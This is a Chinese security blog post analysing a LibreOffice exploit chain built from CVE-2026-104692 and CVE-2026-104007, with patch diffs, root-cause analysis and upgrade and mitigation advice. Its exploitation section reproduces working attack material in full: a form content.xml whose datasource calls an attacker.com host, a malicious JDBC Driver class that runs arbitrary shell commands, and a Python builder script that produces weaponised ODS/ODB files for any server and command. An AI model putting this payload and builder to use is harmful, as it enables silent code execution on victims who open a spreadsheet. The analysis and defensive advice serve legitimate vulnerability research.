LibreOffice 双 CVE 组合链的还原与核查
Ots安全
2026年11月17日 14:53
广东
去阅读
2026 年 11 月 16 日,The Document Foundation 随 LibreOffice 26.2.7 与 26.8.2 发布了一批安全公告,其中两条被编号为 CVE-2026-104692 与 CVE-2026-104007。次日,研究者 ii4gsp 公开了一篇技术文章和配套脚本,演示把两条漏洞与若干 ODF 文档特性串成一条链,受害者只要打开一份表格文件,就能在 macOS、Windows 与 Linux 上触发任意命令执行,全程没有宏警告,也没有安全提示。
这篇博客的价值在于它给出了完整的机制代码、补丁对照和三平台演示。本文在原创叙述的基础上,把原文关键代码块按还原需要嵌入,让技术细节可逐行核对。官方口径与研究者的组合演示并不完全等同,两者的差别也是本文要讲清楚的内容。文中所有代码块均照录原文,属于攻击者构造的利用素材,仅用于理解机制与开展授权研究。
Windows -
已关注
关注
重播 分享 赞
关闭
观看更多
更多
退出全屏
切换到竖屏全屏退出全屏
Ots安全已关注
分享视频
,时长00:19
0/0
00:00/00:19
切换到横屏模式
继续播放
[ ]
进度条,百分之0
播放
00:00
/
00:19
00:19
倍速
全屏
倍速播放中
0.5倍0.75倍1.0倍1.5倍2.0倍
超清流畅
继续观看
LibreOffice 双 CVE 组合链的还原与核查
观看更多
转载
,
LibreOffice 双 CVE 组合链的还原与核查
Ots安全已关注
分享点赞推荐在看
已同步到看一看写下你的评论
视频详情
Linux -
已关注
关注
重播 分享 赞
关闭
观看更多
更多
退出全屏
切换到竖屏全屏退出全屏
Ots安全已关注
分享视频
,时长00:16
0/0
00:00/00:16
切换到横屏模式
继续播放
[ ]
进度条,百分之0
播放
00:00
/
00:16
00:16
倍速
全屏
倍速播放中
0.5倍0.75倍1.0倍1.5倍2.0倍
超清流畅
继续观看
LibreOffice 双 CVE 组合链的还原与核查
观看更多
转载
,
LibreOffice 双 CVE 组合链的还原与核查
Ots安全已关注
分享点赞推荐在看
已同步到看一看写下你的评论
视频详情
一、先看问题
先把可核实的编号、评分与口径钉死。下表是四源交叉核实的结果,每行标注出处层级。
| 数据项 | 官方口径 | 博客自述 | 第三方来源 | 本文采信 |
|---|---|---|---|---|
| CVE-2026-104692 | 通用 JDBC 路径下 HSQLDB 方法调用限制失效,CVSS 4.0 8.5 High | 白名单初始化为 null 导致放行全部方法 | 官方描述限定于通用 JDBC 驱动路径 | 采信官方描述,机制按博客还原 |
| CVE-2026-104007 | 数据库文档可指定 JDBC 驱动加载路径导致代码执行,8.5 High | setPropertyInfo 在外部引用路径未被调用 | 官方从驱动路径角度描述 | 两者并列,角度不同 |
| 修复版本 | 26.2.7 与 26.8.2 | 一致 | 多源一致 | 26.2.7 与 26.8.2 |
| 受影响范围 | 26.2 与 26.8 修复前版本 | 26.2.6.x 及 26.8.1 及更早 | 旧分支未明示,按未修复处理 | 修复前版本,旧分支按未修看待 |
| CWE | 有源标 CWE-470 与 CWE-1188,另有源标 CWE-829 | 未标注 | 不同库归类不一 | 如实标注分歧,不强行归一 |
| 在野利用 | 公告未披露 | 未主张 | 未进 CISA KEV,2026 年 11 月 16 日 EPSS 无分数 | 公开信息未说明 |
官方描述与博客标题的差别值得单独说。官方把两条 CVE 分别定性为 HSQLDB 方法限制失效与数据库文档驱动路径问题,措辞克制且各自独立;博客把它们与 ODF 表单特性组合,得到开文件即执行的效果。这不矛盾,前者是单一缺陷的边界,后者是缺陷叠加后的能力,把后者当成官方结论会夸大单条 CVE 的独立危害。
核实中确认了三处偏差,均记录在此。
其一,评分出处。多个媒体与漏洞库转述 The Document Foundation 给出的 CVSS 4.0 评分为 8.5 High,两条 CVE 相同;博客正文并未给出分值,只在技术层面描述。8.5 来自 CNA 自评,非 NVD 复核值,NVD 对 104692 当时仍显示为预留状态。
其二,CWE 归类不一。不同漏洞库分别标为 CWE-470、CWE-1188 与 CWE-829,指向不安全反射、不安全默认配置与外部控制代码路径等不同角度。归类分歧说明这条链的成因跨越多层,强行归一反而丢失信息。
其三,同批次的相邻编号。官方同批公告里还有 CVE-2026-104920 与 CVE-2026-101892 等相关条目,前者涉及 Calc 数据链接加载远程 Java 代码,后者涉及 ODF 表单控件导入代码执行。博客聚焦两条主干 CVE,没有覆盖这些相邻面,防守方盘点时不应只看这两条。
还有几项公开信息未说明。博客的演示视频未列出所用 LibreOffice 与操作系统具体版本,也未给出披露时间线;是否已在野利用,官方公告未披露;通用成功率取决于目标是否启用 Java、如何保存文件以及自身表单结构,公开信息未说明。
二、影响范围:Java 运行时是硬前置
官方与媒体口径一致:只有在 LibreOffice 中安装并启用了 Java 运行时的环境才受影响。这是判定链的起点,没有 Java,HSQLDB 与 JDBC 驱动这条路径就无从谈起。纯查看或编辑普通文档、未启用 Java 的实例,不在这条链的作用范围内。
版本判定按两条修复线对齐。26.2 分支在 26.2.7 修复,26.8 分支在 26.8.2 修复,修复前的构建视为受影响。官方公告没有明确说明更早分支是否受影响,稳妥做法是把所有旧分支按未修复处理,而不是默认它们安全。
触发面还需要文档形态配合。恶意文件是一份带表单的表格,表单的数据源指向外部数据库文档,文档打开时自动加载表单并连接数据源。这个形态本身不是漏洞,而是被借用的正常功能,因此从文件外观上很难区分,这也是检测难点所在。
前置条件可归纳为三层:环境层要求 Java 运行时可用,版本层要求落在修复前的构建,文档层要求包含自动加载的表单与外部数据源。三层同时满足才构成可达,缺一项都应从高危队列降权,而不是直接判定为已沦陷。
三、原因导致:一处空值放行与一处过滤旁路
这条链由两处独立缺陷叠加。先看 HSQLDB 的方法白名单。LibreOffice 内置的 HSQLDB 允许 SQL 语句通过 CALL 调用 Java 方法,本应受一份方法名单约束。名单字段被初始化为 null,而不是空集合,检查函数在字段为 null 时直接返回允许,于是整份白名单形同虚设。下面是原文照录的反编译逻辑,标记点 A 与 B 对应上述两处。
// org/hsqldb/persist/HsqlDatabaseProperties.java
public class HsqlDatabaseProperties extends HsqlProperties {
private static HashSet accessibleJavaMethodNames = null; // [A] null = allow all
// ...
public static boolean supportsJavaMethod(String string) { if (accessibleJavaMethodNames == null) { // [B] always true when null return true; // ALL methods allowed } if (string.startsWith(\"org.hsqldb.Library.\")) return true; if (string.startsWith(\"java.lang.Math.\")) return true; if (accessibleJavaMethodNames.contains(string)) return true; Iterator iterator = accessibleJavaMethodNames.iterator(); while (iterator.hasNext()) { String string2 = (String)iterator.next(); int n = string2.lastIndexOf(\".*\"); if (n < 1 || !string.startsWith(string2.substring(0, n + 1))) continue; return true; } return false; }
// ...
static { try { String string = System.getProperty(\"hsqldb.method_class_names\"); // [C] if (string != null) { String[] stringArray = StringUtil.split(string, \";\"); for (int i = 0; i < stringArray.length; ++i) { accessibleJavaMethodNames.add(stringArray[i]); } } } catch (Exception exception) {} // ... meta initialization }}
静态初始化段读取系统属性并拆分分号分隔的方法名来填充名单,这是标记 C。但问题在于,字段初值为 null 时,检查函数在任何情况下都已返回允许,这段初始化逻辑对结果没有影响。判断句落在初值上:把白名单的缺省值设成放行,等于没有白名单。
HSQLDB 处理 CALL 语句时,方法名解析会调用上面那个检查函数。下面这段代码来自原文,标记 D 处的检查因为名单为 null 而恒定通过,任何 Java 方法都能被调用。
// org/hsqldb/Database.java
class Database {
// ...
private HHashMap hAlias;
String getJavaName(String string) throws HsqlException { String string2 = (String)this.hAlias.get(string); if (string2 == null) { string2 = string; } if (HsqlDatabaseProperties.supportsJavaMethod(string2)) { // [D] always passes return string2; } throw Trace.error(33, string2); }
// ...}
第二处缺陷在 ODB 文件的导入过滤。LibreOffice 有一个安全函数,在 XML 导入时剥离数据库文档里的 JavaDriverClassPath 属性,防止攻击者指定类的加载路径。直接打开 ODB 文件时这条过滤生效,标记 E 处完成剥离。
// dbaccess/source/filter/xml/xmlfilter.cxx
void ODBFilter::setPropertyInfo(){ // ... ::comphelper::NamedValueCollection aDocumentSettings( aInfo ); aDocumentSettings.remove( u\"JavaDriverClassPath\"_ustr ); // [E] strips classpath aDataSourceSettings.merge( aDocumentSettings, true ); // ...}
关键在于,这条过滤只在直接打开 ODB 文件时被调用。当 ODB 是通过表单的外部数据源引用被加载时,过滤整段跳过。下面这段来自 JDBC 连接构造逻辑,标记 F 处显示类路径原样进入 URLClassLoader。
// connectivity/source/drivers/jdbc/JConnection.cxx — construct()
sDriverClassPath = aSettings.getOrDefault( u\"JavaDriverClassPath\"_ustr, sDriverClassPath); // [F] classpath NOT strippedif ( sDriverClassPath.isEmpty() ) sDriverClassPath = impl_getJavaDriverClassPath_nothrow(sDriverClass);// ...loadDriverFromProperties( sDriverClass, sDriverClassPath, aSystemProperties );
原文用一段流程对照说明两条导入路径的差别,照录如下。左侧直开路径经过过滤,右侧外部引用路径绕过了它。
ODB Import Pipeline:
Direct ODB open: ODBFilter::filter() → ODBFilter::implImport() → ReadThroughComponent() ← XML parsed, classpath loaded → setPropertyInfo() ← [E] strips JavaDriverClassPath → properties applied to datasource
External ODB via form:datasource: form auto-load triggered → HTTP GET payload.odb → ODB loaded into datasource → setPropertyInfo() NOT called ← [F] classpath preserved! → properties applied with attacker's classpath intact
这里要点明两处缺陷的依赖关系。后一处负责让攻击者指定的类能被加载,前一处负责让 SQL 能调用加载进来的方法。只有类路径没有方法调用,类进来了也无人触发;只有方法调用没有类路径,即便能调用任意方法也没有攻击者自己的代码可执行。判断句是:这是一条需要两半拼合的链,单独一条 CVE 的独立危害低于组合之后。
四、补丁分析:三层重叠防御
26.8.2.2 预发布版本同时修补两条缺陷,并追加了纵深防御。先看 HSQLDB 侧的修复 diff,字段初值从无初值改为空集合,注释也相应改写。
--- a/hsqldb/src/org/hsqldb/persist/HsqlDatabaseProperties.java+++ b/hsqldb/src/org/hsqldb/persist/HsqlDatabaseProperties.java@@ -57,15 +57,13 @@
private static String hsqldb_method_class_names = \"hsqldb.method_class_names\";- private static HashSet accessibleJavaMethodNames;+ private static HashSet accessibleJavaMethodNames = new HashSet();
static { try { String prop = System.getProperty(hsqldb_method_class_names);
if (prop != null) {- accessibleJavaMethodNames = new HashSet();- String[] names = StringUtil.split(prop, \";\");
for (int i = 0; i < names.length; i++) {@@ -76,11 +74,9 @@ }
/**- * If the system property \"hsqldb.method_class_names\" is not set, then- * static methods of all available Java classes can be accessed as functions- * in HSQLDB. If the property is set, then only the list of semicolon- * seperated method names becomes accessible. An empty property value means- * no class is accessible.<p>+ * Only the semicolon seperated method names in the system property+ * \"hsqldb.method_class_names\" are accessible. An empty or unset property+ * means no class is accessible.<p> * * A property value that ends with .* is treated as a wild card and allows * access to all classe or method names formed by substitution of the
空集合意味着检查函数不再走放行分支,会落到后续白名单判断,而不在内置类范围内的方法被挡下。由于 LibreOffice 并不设置那个系统属性,名单保持为空,效果是把可调用方法收紧到内置函数。
第二处修复给导入过滤追加了剥离项,新增对 SystemProperties 的清除,堵住通过文档注入系统属性重新填充名单的路径。
--- a/dbaccess/source/filter/xml/xmlfilter.cxx+++ b/dbaccess/source/filter/xml/xmlfilter.cxx void ODBFilter::setPropertyInfo() { // ... ::comphelper::NamedValueCollection aDocumentSettings( aInfo );- // The Java class path of a driver comes from the driver configuration, not the document.+ // The Java class path of a driver and the Java system properties come from the driver+ // configuration, not the document. aDocumentSettings.remove( u\"JavaDriverClassPath\"_ustr );+ aDocumentSettings.remove( u\"SystemProperties\"_ustr ); // CreateDatabase asks the driver for a new database, which only the user does from the UI. aDocumentSettings.remove( u\"CreateDatabase\"_ustr ); aDataSourceSettings.merge( aDocumentSettings, true ); // ... }
第三处修复在数据源连接路径引入可信位置判定。不可信文档被视为与更新链接同等对待,其附加驱动选项被过滤,来自不可信位置的 ADO 连接被整体阻断。
--- a/dbaccess/source/core/dataaccess/datasource.cxx+++ b/dbaccess/source/core/dataaccess/datasource.cxx Sequence< PropertyValue > lcl_filterDriverProperties( const Reference< XDriver >& _xDriver, const OUString& _sUrl,- const Sequence< PropertyValue >& _rDataSourceSettings )+ const Sequence< PropertyValue >& _rDataSourceSettings, bool bTrustedLocation ) { // ... for (auto& dataSourceSetting : _rDataSourceSettings) {+ // Additional driver options follow the same rule as updating links.+ if (!bTrustedLocation && dataSourceSetting.Name == INFO_ADDITIONALOPTIONS)+ continue; // ... } }
原文用一段层次图概括补丁形成的重叠防御,照录如下。三层各自独立,任一层被绕过还有其他层兜底。
Layer 1: setPropertyInfo() — strips from ODB XML ├── JavaDriverClassPath → removed (no class loading) ├── SystemProperties → removed (no property injection) └── CreateDatabase → removed (no DB at arbitrary path)
Layer 2: Trusted Location Check — datasource.cxx ├── Untrusted documents have additional driver options filtered └── ADO connections blocked from untrusted locations
Layer 3: HSQLDB Method Whitelist ├── accessibleJavaMethodNames = new HashSet() (empty, not null) ├── Only org.hsqldb.Library.* and java.lang.Math.* allowed └── System.getProperty(\"hsqldb.method_class_names\") checked at class load
Even if classpath survives → whitelist blocks CALL → no method executionEven if whitelist bypassed → trusted location check limits driver optionsEven if SystemProperties injected → stripping prevents whitelist repopulation
判断句落在修复思路上:补丁没有依赖单点拦截,而是把剥离、位置判定与名单校验叠成三层,这正是针对组合链的正确应对方式。
五、漏洞触发:五个正常特性拼成一条链
这条链借助的五个 ODF 与 LibreOffice 特性本身都不是漏洞,它们负责让两处缺陷在打开文档时自动触发。其一是 HTTP 型 ODB 自动下载,表单通过 form:datasource 引用外部数据库文档,填入 HTTP 地址后,LibreOffice 会在无确认的情况下拉取该文件,由此投送恶意类路径配置。第二个是表单自动加载,form:apply-design-mode 设为 false 会让文档打开时自动连接数据源并执行表单的 SQL,而数据库访问被归类为非宏操作,因此不会弹出宏安全对话框。第三个是 SQL 合成器旁路,form:escape-processing 设为 false 会跳过查询合成器校验,让 CALL 语句原样到达 HSQLDB。第四个是把 ODS 当类容器,ODS 本质是 ZIP,攻击者把恶意 class 直接塞进表格文件,Java 的类加载器把 ZIP 当容器读取。第五个是引导变量路径预测,类路径里可用系统变量指向用户目录,攻击者列出下载、桌面、文档等常见位置,类加载器对不存在的路径静默忽略,总有一条命中。
下面是原文照录的 content.xml 片段,三处标记对应前三个特性。A 处指向攻击者服务器,B 处启用表单自动加载,C 处关闭 SQL 合成校验。
<!-- content.xml inside the ODS file --><office:document-content xmlns:office=\"urn:oasis:names:tc:opendocument:xmlns:office:1.0\" xmlns:table=\"urn:oasis:names:tc:opendocument:xmlns:table:1.0\" xmlns:text=\"urn:oasis:names:tc:opendocument:xmlns:text:1.0\" xmlns:form=\"urn:oasis:names:tc:opendocument:xmlns:form:1.0\" xmlns:ooo=\"http://openoffice.org/2004/office\" office:version=\"1.3\"> <office:body> <office:spreadsheet> <table:table table:name=\"Sheet1\"> <office:forms form:automatic-focus=\"false\" form:apply-design-mode=\"false\"> // [B] form auto-load <form:form form:name=\"DataForm\" form:datasource=\"http://attacker.com:8888/payload.odb\" // [A] HTTP ODB form:command=\"CALL "evil.Driver.pwn"('open -a Calculator')\" form:command-type=\"command\" form:escape-processing=\"false\"> // [C] SQL composer bypass <form:text form:name=\"Field1\" form:control-implementation=\"ooo:com.sun.star.form.component.TextField\" form:id=\"control1\"> <form:properties> <form:property form:property-name=\"DefaultControl\" form:property-type=\"string\" form:property-value=\"com.sun.star.form.control.TextField\"/> </form:properties> </form:text> </form:form> </office:forms> <table:table-column table:number-columns-repeated=\"5\"/> <table:table-row> <table:table-cell office:value-type=\"string\"> <text:p>Item</text:p></table:table-cell> <table:table-cell office:value-type=\"string\"> <text:p>Qty</text:p></table:table-cell> <table:table-cell office:value-type=\"string\"> <text:p>Price</text:p></table:table-cell> </table:table-row> </table:table> </office:spreadsheet> </office:body></office:document-content>
由于 ODS 是 ZIP 归档,恶意 class 被直接放进文件内部,对应标记 D。下面是原文的文件结构示意。
poc.ods (ZIP archive)├── mimetype ← ODS magic (uncompressed, first entry)├── content.xml ← form with CALL statement + HTTP datasource├── styles.xml ← spreadsheet styles├── META-INF/│ └── manifest.xml ← ODF manifest listing all entries└── evil/ └── Driver.class ← [D] malicious class loaded by URLClassLoader
托管在攻击者服务器上的 ODB 负责提供类路径与 JDBC 设置,用引导变量预测受害者文件路径,再把类路径指回磁盘上的表格文件。这段 content.xml 同样照录原文。
<!-- ODB content.xml — classpath pointing back to the ODS file --><db:data-source> <db:connection-data> <db:connection-resource xlink:href=\"jdbc:hsqldb:mem:exploit\"/> <db:login db:user-name=\"SA\" db:is-password-required=\"false\"/> </db:connection-data> <db:driver-settings db:java-driver-class=\"org.hsqldb.jdbcDriver\" db:java-classpath=\"vnd.sun.star.expand:$SYSBINDIR/../Resources/java/hsqldb.jar vnd.sun.star.expand:$SYSUSERHOME/Downloads/poc.ods vnd.sun.star.expand:$SYSUSERHOME/Desktop/poc.ods vnd.sun.star.expand:$SYSUSERHOME/Documents/poc.ods\" db:system-driver-settings=\"\" db:parameter-name-substitution=\"false\"/></db:data-source>
原文用一段流程把整条链从头到尾串起来,照录如下,便于逐环节对照检测点。
1. Attacker: Build exploit files ├── poc.ods → ODS with form auto-load + evil/Driver.class └── payload.odb → ODB with classpath pointing back to poc.ods
2. Attacker: Host payload.odb on HTTP server └── python3 -m http.server 8888
3. Victim: Opens poc.ods (or poc.xlsx — content-based detection)
4. LibreOffice processing: ├── Parses content.xml ├── form:apply-design-mode=\"false\" → auto-load triggered ├── form:datasource=\"http://attacker:8888/payload.odb\" │ └── HTTP GET → silently downloads payload.odb (no prompt) ├── ODB parsed → classpath = $SYSUSERHOME/Downloads/poc.ods │ └── setPropertyInfo() not called → classpath preserved (CVE-2026-104007) ├── HSQLDB initialized │ └── accessibleJavaMethodNames = null → all methods allowed (CVE-2026-104692) ├── form:escape-processing=\"false\" → SQL passed directly ├── CALL \"evil.Driver.pwn\"('open -a Calculator') │ ├── URLClassLoader loads evil/Driver.class from poc.ods on disk │ └── evil.Driver.pwn() → Runtime.getRuntime().exec() └── Code execution — opening the document is enough
5. Result: Arbitrary command execution as the victim's user
平台差异是这篇博客的一个技术增量。macOS 与 Windows 走 HSQLDB 的 CALL 路径,表单 SQL 直接把命令串作为参数传给恶意方法;Linux 则演示只靠 CVE-2026-104007 就能达成,恶意类被注册为 JDBC 驱动,连接建立时其 connect 方法被自动调用,命令藏在 jdbc:evil 前缀的 URL 里。原文指出,这种驱动加载与连接调用不经过方法白名单,因此即便名单被正确启用也挡不住这条路径。
下面是原文照录的 connect 路径片段,说明命令如何从 JDBC URL 前缀中取出。
// evil/Driver.java — connect() path (Linux)// Driver class loading triggers connect() automatically during JDBC connection setup.// The command is extracted from the JDBC URL prefix \"jdbc:evil:\".public Connection connect(String url, Properties info) throws SQLException { if (url != null && url.startsWith(\"jdbc:evil:\")) { pwn(url.substring(10)); // extract command from URL } return null;}
下面是原文照录的完整恶意驱动类。它同时实现 CALL 路径的 pwn 方法与 Linux 演示所用的 connect 路径,按操作系统名选择命令行解释器后调用执行。这段代码是攻击者构造的载荷,嵌入仅为还原机制,不得用于任何未授权环境。
package evil;
import java.sql.Connection;import java.sql.DriverManager;import java.sql.SQLException;import java.util.Properties;
public class Driver implements java.sql.Driver { public static String pwn(String cmd) { try { String os = System.getProperty(\"os.name\").toLowerCase(); String[] command; if (os.contains(\"win\")) { command = new String[]{\"cmd.exe\", \"/c\", cmd}; } else if (os.contains(\"mac\")) { command = new String[]{\"/bin/sh\", \"-c\", cmd}; } else { command = new String[]{\"/bin/sh\", \"-c\", cmd}; } Runtime.getRuntime().exec(command); } catch (Exception e) { return e.toString(); } return \"ok\"; }
public Connection connect(String url, Properties info) throws SQLException { if (url != null && url.startsWith(\"jdbc:evil:\")) { pwn(url.substring(10)); } return null; } public boolean acceptsURL(String url) throws SQLException { return url != null && url.startsWith(\"jdbc:evil:\"); } public java.sql.DriverPropertyInfo[] getPropertyInfo(String url, Properties info) throws SQLException { return new java.sql.DriverPropertyInfo[0]; } public int getMajorVersion() { return 1; } public int getMinorVersion() { return 0; } public boolean jdbcCompliant() { return false; } public java.util.logging.Logger getParentLogger() { return null; }}
原文还给出一份完整的文件构建脚本,用标准库把 ODS 与 ODB 两个 ZIP 包拼出来,并按平台切换驱动类与 JDBC 地址。这段代码同样是攻击者工具,照录仅为还原原文内容,明确禁止用于未授权测试。
#!/usr/bin/env python3\"\"\"Usage: python3 build_exploit.py --server --target cd output && python3 -m http.server 8888
--server Attacker HTTP server address (e.g. 192.168.1.100:8888) --target Target platform: macos | linux | windows | all --filename ODS filename the victim will open (default: poc.ods) --cmd Custom command to execute (overrides platform default) --outdir Output directory (default: ./output)\"\"\"
import argparseimport ioimport osimport structimport sysimport zipfilefrom pathlib import Path
# ── Calculator commands per platform ──CALC_COMMANDS = { \"macos\": \"open -a Calculator\", \"linux\": \"gnome-calculator || kcalc || xcalc || mate-calc || xfce4-calculator || galculator || qalculate-gtk\", \"windows\": \"calc.exe\",}
# ── Classpath search paths per platform ──# URLClassLoader silently ignores paths that don't exist,# so we list multiple common download locations.CLASSPATH_PATHS = { \"macos\": [ \"$SYSUSERHOME/Downloads/{filename}\", \"$SYSUSERHOME/Desktop/{filename}\", \"$SYSUSERHOME/Documents/{filename}\", ], \"linux\": [ \"file://$/Downloads/{filename}\", \"file://$/Desktop/{filename}\", \"file://$/Documents/{filename}\", \"file://$/다운로드/{filename}\", ], \"windows\": [ \"$SYSUSERHOME/../Downloads/{filename}\", \"$SYSUSERHOME/../Desktop/{filename}\", \"$SYSUSERHOME/{filename}\", ],}
# ── hsqldb.jar path per platform ──HSQLDB_PATHS = { \"macos\": \"vnd.sun.star.expand:$SYSBINDIR/../Resources/java/hsqldb.jar\", \"linux\": \"vnd.sun.star.expand:$SYSBINDIR/classes/hsqldb.jar\", \"windows\": \"vnd.sun.star.expand:$SYSBINDIR/classes/hsqldb.jar\",}
# ── Precompiled evil/Driver.class ──# Cross-platform: detects OS at runtime via os.name, uses /bin/sh or cmd.exe# Source: evil/Driver.java (included in this directory)EVIL_DRIVER_CLASS = None # loaded from file
def load_evil_class(): \"\"\"Load the precompiled evil/Driver.class from the script's directory.\"\"\" script_dir = Path(__file__).parent class_path = script_dir / \"evil\" / \"Driver.class\" if not class_path.exists(): print(f\"[!] evil/Driver.class not found at {class_path}\") print(\" Compile it: javac evil/Driver.java\") sys.exit(1) return class_path.read_bytes()
def build_classpath(target: str, filename: str) -> str: \"\"\"Build the space-separated classpath string for the ODB.\"\"\" parts = [HSQLDB_PATHS[target]] for tmpl in CLASSPATH_PATHS[target]: path = tmpl.format(filename=filename) parts.append(f\"vnd.sun.star.expand:{path}\") return \" \".join(parts)
def xml_escape(s: str) -> str: \"\"\"Escape for XML attribute values.\"\"\" return s.replace(\"&\", \"&\").replace('\"', \""\").replace(\"'\", \"'\")\\ .replace(\", \"<\").replace(\">\", \">\")
def build_odb(target: str, filename: str, command: str, evil_class: bytes) -> bytes: \"\"\"Build the ODB payload ZIP.\"\"\" classpath = build_classpath(target, filename)
manifest_xml = '\
' \\ ' \\ '\"urn:oasis:names:tc:opendocument:xmlns:manifest:1.0\">\
' \\ ' \\ 'manifest:media-type=\"application/vnd.oasis.opendocument.base\"/>\
' \\ ' \\ 'manifest:media-type=\"text/xml\"/>\
' \\ ' \\ 'manifest:media-type=\"text/xml\"/>\
' \\ ''
settings_xml = '\
' \\ ' \\ 'xmlns:office=\"urn:oasis:names:tc:opendocument:xmlns:office:1.0\" ' \\ 'office:version=\"1.3\">'
if target == \"linux\": driver_class = \"evil.Driver\" jdbc_url = f\"jdbc:evil:{xml_escape(command)}\" else: driver_class = \"org.hsqldb.jdbcDriver\" jdbc_url = \"jdbc:hsqldb:mem:exploit\"
content_xml = f'''
{jdbc_url}\"/>
{driver_class}\" db:java-classpath=\"{xml_escape(classpath)}\" db:system-driver-settings=\"\" db:parameter-name-substitution=\"false\"/>
%
'''
buf = io.BytesIO() with zipfile.ZipFile(buf, \"w\", zipfile.ZIP_DEFLATED) as zf: zf.writestr(\"META-INF/manifest.xml\", manifest_xml) zf.writestr(\"settings.xml\", settings_xml) zf.writestr(\"content.xml\", content_xml) zf.writestr(\"evil/Driver.class\", evil_class) return buf.getvalue()
def build_ods(server_url: str, command: str, evil_class: bytes, odb_name: str = \"payload.odb\") -> bytes: \"\"\"Build the victim ODS file.\"\"\" odb_url = f\"http://{server_url}/{odb_name}\"
manifest_xml = '\
' \\ ' \\ '\"urn:oasis:names:tc:opendocument:xmlns:manifest:1.0\" ' \\ 'manifest:version=\"1.3\">\
' \\ ' \\ 'manifest:media-type=' \\ '\"application/vnd.oasis.opendocument.spreadsheet\"/>\
' \\ ' \\ 'manifest:media-type=\"text/xml\"/>\
' \\ ' \\ 'manifest:media-type=\"text/xml\"/>\
' \\ ' \\ 'manifest:media-type=\"application/java-vm\"/>\
' \\ ''
styles_xml = '\
' \\ ' \\ 'xmlns:office=\"urn:oasis:names:tc:opendocument:xmlns:office:1.0\" ' \\ 'office:version=\"1.3\">\
'
content_xml = f'''
{xml_escape(odb_url)}\" form:command=\"CALL "evil.Driver.pwn"\\('{xml_escape(command)}')\" form:command-type=\"command\" form:escape-processing=\"false\"> \\\"ooo:com.sun.star.form.component.TextField\" form:id=\"control1\">
\\\"com.sun.star.form.control.TextField\"/>
Item
Qty
Price
Consulting Services
40
$150.00
Development
80
$200.00
'''
buf = io.BytesIO() with zipfile.ZipFile(buf, \"w\") as zf: info = zipfile.ZipInfo(\"mimetype\") info.compress_type = zipfile.ZIP_STORED zf.writestr(info, \"application/vnd.oasis.opendocument.spreadsheet\") zf.writestr(\"content.xml\", content_xml, compress_type=zipfile.ZIP_DEFLATED) zf.writestr(\"styles.xml\", styles_xml, compress_type=zipfile.ZIP_DEFLATED) zf.writestr(\"META-INF/manifest.xml\", manifest_xml, compress_type=zipfile.ZIP_DEFLATED) zf.writestr(\"evil/Driver.class\", evil_class, compress_type=zipfile.ZIP_DEFLATED) return buf.getvalue()
def main(): parser = argparse.ArgumentParser( description=\"LibreOffice RCE exploit builder\") parser.add_argument(\"--server\", required=True, help=\"Attacker HTTP server (ip:port)\") parser.add_argument(\"--target\", required=True, choices=[\"macos\", \"linux\", \"windows\", \"all\"]) parser.add_argument(\"--filename\", default=\"poc.ods\") parser.add_argument(\"--cmd\", default=None) parser.add_argument(\"--outdir\", default=\"./output\") args = parser.parse_args()
evil_class = load_evil_class() outdir = Path(args.outdir) outdir.mkdir(parents=True, exist_ok=True)
targets = ([\"macos\", \"linux\", \"windows\"] if args.target == \"all\" else [args.target])
for target in targets: command = args.cmd or CALC_COMMANDS[target] suffix = f\"_{target}\" if len(targets) > 1 else \"\" odb_name = f\"payload{suffix}.odb\"
odb_data = build_odb(target, args.filename, command, evil_class) odb_path = outdir / odb_name odb_path.write_bytes(odb_data)
ods_data = build_ods(args.server, command, evil_class, odb_name) ods_name = (args.filename if len(targets) == 1 else f\"{Path(args.filename).stem}_{target}.ods\") ods_path = outdir / ods_name ods_path.write_bytes(ods_data)
print(f\"[+] {target}:\") print(f\" ODS: {ods_path} ({len(ods_data)} bytes)\") print(f\" ODB: {odb_path} ({len(odb_data)} bytes)\") print(f\" CMD: {command}\") print()
print(f\"[*] Serve payloads:\") print(f\" cd {outdir} && python3 -m http.server \" f\"{args.server.split(':')[-1]}\") print() print(f\"[*] Exploit flow:\") print(f\" 1. Victim opens {args.filename}\") print(f\" 2. LO auto-downloads ODB from http://{args.server}/\") print(f\" 3. HSQLDB loads evil class from {args.filename} on disk\") print(f\" 4. RCE\")
if __name__ == \"__main__\": main()
需要说明一处还原限制。原文这段脚本里个别 XML 模板行在网页渲染时出现了字符缺失,例如 import 段落与转义函数中的局部字面量。本文按网页可见内容照录,未做臆测性补全,读者若需编译验证应以原文为准。判断句落在证据边界上:代码块用于理解机制与补丁逻辑,不能替代可执行的构建输入。
六、自查与处置
按可落地顺序给出动作,全部基于官方公告与公开分析,不涉及任何攻击侧操作。
升级是主路径。把 LibreOffice 升到 26.2.7 或 26.8.2 及以上,覆盖对应分支的修复。由于官方未明示更早分支是否受影响,旧版本不应默认安全,宜统一纳入升级或替换计划。升级后要确认运行实例的实际版本,而不是只看安装包。
收紧 Java 前置条件。若业务并不需要 Java 数据库功能,可在 LibreOffice 中禁用 Java 运行时,这直接切断这条链的环境基础。对于必须保留 Java 的场景,应把带外部数据源的表单视为高风险对象,限制其来源。
留意文档形态与网络行为。对包含外部数据源引用的表格保持警惕,尤其是数据源地址为远程地址的情形;在网关与终端侧留意办公进程对外发起的非常规 HTTP 请求,以及对下载目录中表格文件的异常读取。这些行为对应链中的自动下载与类路径回指环节。
校准告警优先级。这条链尚未进入 CISA 已知利用漏洞目录,公开信息也未说明在野利用,处置紧迫性应结合自身暴露面判断,而不是一律按过高等级处理。同时要记住,官方同批公告还有相邻编号的其他代码执行条目,盘点范围不应只限于这两条。
七、结束语
这条链的价值不在于单个漏洞有多深,而在于它展示了正常功能如何被拼接成攻击路径。表单自动加载、ZIP 归档、类加载器的静默容错、系统变量展开,每一项单独看都合理,组合起来却成就了打开即执行。
补丁的应对方式同样有代表性。它没有押注在单点拦截上,而是把属性剥离、可信位置判定与方法名单校验叠成三层,任何一层漏过还有其他层兜底。对防守方而言,阅读这类组合链的收获,是学会从功能交互处寻找风险,而不只是盯着某个函数的边界错误。唯有把版本、配置与行为监测对齐,才能把一条公开的演示链转化成一次准确的加固。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论